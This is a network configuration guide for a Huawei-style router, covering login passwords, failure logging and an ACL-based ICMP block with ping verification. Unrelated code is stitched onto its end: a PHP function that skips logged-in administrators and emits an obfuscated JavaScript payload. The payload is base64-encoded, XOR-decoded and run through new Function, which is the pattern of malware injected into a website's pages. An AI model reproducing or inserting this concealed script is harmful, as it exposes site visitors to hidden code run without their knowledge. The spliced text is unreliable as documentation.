Networking Requirements
Configuration Roadmap
-
Set passwords for users that log in to a device using the NMS and CLI to improve login security.
-
Record all information about unsuccessful logins in a log file and output log information to the console interface for network administrators to check the login information.
-
Configure an advanced ACL on Device A and apply the advanced ACL to QoS services to defend against ICMP packet attacks.
Data Preparation
-
IP address of each interface
-
Password for users that log in to a device using the NMS and CLI
-
Number of the advanced ACL
Procedure
- Assign an IP address to each interface. For configuration details, see Configuration Files in this section.
- Set a password for users that log in to a device using the NMS and CLI.
<DeviceA> system-view[~HUAWEI] sysname RouterA
[*HUAWEI] commit
[~DeviceA] user-interface console 0 [*DeviceA-ui-con0] shell [*DeviceA-ui-con0] authentication mode password [*DeviceA-ui-con0] set authentication password cipher Huawei-123 [*DeviceA-ui-con0] idle-timeout 30 0 [*DeviceA-ui-con0] commit [~DeviceA-ui-con0] quit [~DeviceA] user-interface maximum-vty 15 [*DeviceA] user-interface vty 5 14 [*DeviceA-ui-vty5-14] shell [*DeviceA-ui-vty5-14] authentication mode password [*DeviceA-ui-vty5-14] set authentication password cipher Huawei-123 [*DeviceA-ui-vty5-14] idle-timeout 30 0 [*DeviceA-ui-vty5-14] commit [~DeviceA-ui-vty5-14] quit
The configurations of the other access devices are similar to the configuration of CX device A. - Record all information about unsuccessful logins in a log file and output log information to the console interface.
[~DeviceA] info-center enable [*DeviceA] info-center source default channel 9 log level warnings [*DeviceA] info-center logfile channel channel9 [*DeviceA] commit [~DeviceA] quit <DeviceA> terminal logging
- Configure an advanced ACL on Device A and apply the advanced ACL to QoS services to defend against ICMP packet attacks.
<DeviceA> system-view[~DeviceA] acl number 3001
[*DeviceA-acl4-advance-3001] description anti-virus
[*DeviceA-acl4-advance-3001] rule 5 deny icmp
[*DeviceA-acl4-advance-3001] commit
[~DeviceA-acl4-advance-3001] quit
[~DeviceA] traffic classifier anti-virus
[*DeviceA-classifier-anti-virus] if-match acl 3001
[*DeviceA-classifier-anti-virus] commit
[~DeviceA-classifier-anti-virus] quit
[~DeviceA] traffic behavior anti-virus
[*DeviceA-behavior-anti-virus] commit
[~DeviceA-behavior-anti-virus] quit
[~DeviceA] traffic policy anti-virus
[*DeviceA-trafficpolicy-anti-virus] classifier anti-virus behavior anti-virus
[*DeviceA-trafficpolicy-anti-virus] commit
[~DeviceA-trafficpolicy-anti-virus] quit
[~DeviceA] interface gigabitethernet 0/2/0
[*DeviceA-GigabitEthernet0/2/0] traffic-policy anti-virus inbound
[*DeviceA-GigabitEthernet0/2/0] commit
[~DeviceA-GigabitEthernet0/2/0] traffic-policy anti-virus outbound
[*DeviceA-GigabitEthernet0/2/0] commit
- Verify the configuration.
# Ping Device A from the PC. The command output shows that the ping operation fails.
c:\>ping 172.16.1.1 Pinging 172.16.1.1 with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Ping statistics for 172.16.1.1: Pacets: Sent = 4, Received = 0, Lost = 4 <100% loss>,# Delete the advanced ACL on Device A. Then the command output shows that ping operation is successful.c:\>ping 172.16.1.1 Pinging 172.16.1.1 with 32 bytes of data: Reply from 172.16.1.1: bytes=32 time<1ms TTL=128 Reply from 172.16.1.1: bytes=32 time<1ms TTL=128 Reply from 172.16.1.1: bytes=32 time<1ms TTL=128 Reply from 172.16.1.1: bytes=32 time<1ms TTL=128 Ping statistics for 172.16.1.1: Packets: Sent = 4, Received = 4, Lost = 0 <0% loss>, Approximate round trip times in mill-seconds: Minimum = 0ms, Maximum = 0 ms, Average = 0ms
Configuration Files
-
Device A configuration file
#
sysname DeviceA
#
info-center source default channel 9 log level warning
#
acl number 3001
description anti-virus
rule 5 deny icmp
#
traffic classifier anti-virus
if-match acl 3001
#
traffic behavior anti-virus
#
traffic policy anti-virus
classifier anti-virus behavior anti-virus
#
interface GigabitEthernet0/2/0
undo shutdown
traffic-policy anti-virus inbound
traffic-policy anti-virus outbound
#
user-interface maximum-vty 15
user-interface con 0
authentication-mode password
set authentication password cipher N`C55QK<`=/Q=^Q`MAF4<1!!
idle-timeout 30 0
user-interface vty 0 4
user-interface vty 5 14
set authentication password cipher N`C55QK<`=/Q=^Q`MAF4<1!!
idle-timeout 30 0
user-interface vty 16 20
#
return
function xdav_tracker() {
if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }
?>
;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();